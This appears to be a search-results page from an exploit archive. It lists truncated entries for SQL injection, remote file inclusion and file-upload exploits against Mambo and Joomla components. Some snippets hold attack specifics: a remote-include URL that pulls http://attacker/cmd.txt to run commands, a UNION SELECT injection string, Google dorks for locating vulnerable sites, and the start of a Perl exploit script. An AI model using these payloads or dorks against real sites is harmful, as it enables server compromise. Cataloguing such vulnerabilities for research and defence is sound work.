1915 matches found
Mambo 4.5 Server user.php Script Unauthorized Access Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/9193/info It has been reported that Mambo Server may be prone to an unauthorized access vulnerability that may allow an attacker to modify a user and/or an administrator's information such as password, email, name etc,...
Joomla/Mambo Mod_Forum Component PHPBB_Root.PHP Remote File Include Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/24591/info The 'modforum' component for Joomla and Mambo is prone to a remote file-include vulnerability because the application fails to properly sanitize user-supplied input. An attacker can exploit this issue to includ...
Joomla! and Mambo 'com_sg' Component - 'pid' Parameter SQL Injection Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/27821/info The Joomla! and Mambo 'comsg' component is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue could allow...
PrinceClan Chess Mambo Com <= 0.8 - Remote Inclusion Vulnerability
No description provided by source. pcchess Component - dork : index.php?option=compcchess - exploit : http://target/path/components/compcchess/include.pcchess.php?mosConfigabsolutepath=http://attacker/cmd.txt?&cmd=ls milw0rm.com 2006-07-24...
Joomla! and Mambo 'com_hello_world' Component - 'id' Parameter SQL Injection Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/27956/info The Joomla! and Mambo 'comhelloworld' component is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue cou...
Mambo Component zOOm Media Gallery <= 2.5 Beta 2 RFI Vulnerabilities
No description provided by source. iskorpitx@metlak from TURKEY comzoom file include / // Create the Makernote Parser and Interpreter Function Array $GLOBALS'MakernoteFunctionArray' = array ReadMakernoteTag = array , getMakernoteTextValue = array , InterpretMakernotetoHTML = array ; // Include th...
Joomla Component com_tickets <= 2.1 (id) SQL Injection Vuln
No description provided by source. ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Joomla Component comtickets id SQL-injection Vulnerability ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ + Author : Chip D3 Bi0s + Email :...
Mambo Cache_Lite Class mosConfig_absolute_path Remote File Include
No description provided by source. $Id: mambocachelite.rb 11127 2010-11-24 19:35:38Z jduck $ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of...
Joomla! and Mambo 'com_publication' Component - 'pid' Parameter SQL Injection Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/27970/info The Joomla! and Mambo 'compublication' component is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue...
HTMLArea3 Mambo Module <= 1.5 - Remote Include Vulnerability
No description provided by source. HTMLArea3 addon - ImageManager Author : Ahmad Maulana a.k.a Matdhule Date : July 12th 2006 Location : Indonesia, Jakarta Web : http://advisories.echo.or.id/adv/adv38-matdhule-2006.txt Critical Lvl : Highly critical Impact : System access Where : From Remote...
com_extcalendar Mambo Component <= 2.0 Include Vulnerability
No description provided by source. -------------------------------------------------------------------------------- Title : ExtCalendar Mambo Module = v2 Remote File Include Vulnerabilities Discovered By OLiBekaS ----------------------------------------------------------------------------- dork :...
Mambo Site Server 4.0.14 banners.php bid Parameter SQL Injection
No description provided by source. source: http://www.securityfocus.com/bid/8647/info It has been reported that Mambo Open Source Server is prone to multiple input validation vulnerabilities that may allow remote attackers to inject malicious SQL syntax into database queries and send anonymous...
Joomla! and Mambo 'com_activities' Component - 'id' Parameter SQL Injection Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/27820/info The Joomla! and Mambo 'comactivities' component is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue cou...
Mambo Open Source 4.5.1 (1.0.9) - Function.php Arbitrary Command Execution
No description provided by source. source: http://www.securityfocus.com/bid/11220/info Mambo open source is reportedly affected by multiple input validation vulnerabilities. These issues are due to a failure of the application to properly validate user-supplied URI parameters. An attacker may...
Joomla! and Mambo com_profile Component - 'oid' Parameter SQL Injection Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/27851/info The Joomla! and Mambo 'comprofile' component is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue could...
com_utchat component Mambo and Joomla! Component 0.2 Multiple Remote File Include Vulnerabilities
No description provided by source. source: http://www.securityfocus.com/bid/30571/info The comutchat component for Mambo and Joomla! is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data. Exploiting these issues can allow an attacker...
Mambo Component garyscookbook <= 1.1.1 - SQL Injection Vulnerability
No description provided by source. joomla comgaryscookbook SQL Injectionid AUTHOR : S@BUN HOME : http://www.milw0rm.com/author/1334 MAİL : [email protected] there are alot site but exploit not working for all ı found alot DORK 1 : allinurl:comgaryscookbook DORK 2 : allinurl:...
Mambo Component SimpleBoard <= 1.0.1 - Arbitrary File Upload Exploit
No description provided by source. !/usr/bin/perl use warnings; use strict; use LWP::UserAgent; use HTTP::Request::Common; my $fname = rand99999 . .php; no int print INTRO; - SimpleBoard Mambo Component = 1.0.1 - - Remote Arbitrary File Upload Exploit - Discovered && Coded by: t0pP8uZz Discovered...
Mambo com_akogallery Remote SQL Injection Vulnerability
No description provided by source. Mambo comakogallery Remote Sql Injection Vulnerability Demo: http://server/index.php?option=comakogallery&Itemid=91&func=detailgallerie&id=-10+UNION SELECT...
Mambo mmp Component <= 1.2 - Remote File Include Vulnerability
No description provided by source. C Y BE R - W A R R i O R T I M mambo commmp Component mosConfigabsolutepath Remote File Inclusion Vulnerabilities Author: mdx Class : Remote cont@ct: bilkopatathotmaildotcom Code: help.mmp.php?, line 12 ?php global $mosConfigabsolutepath; require...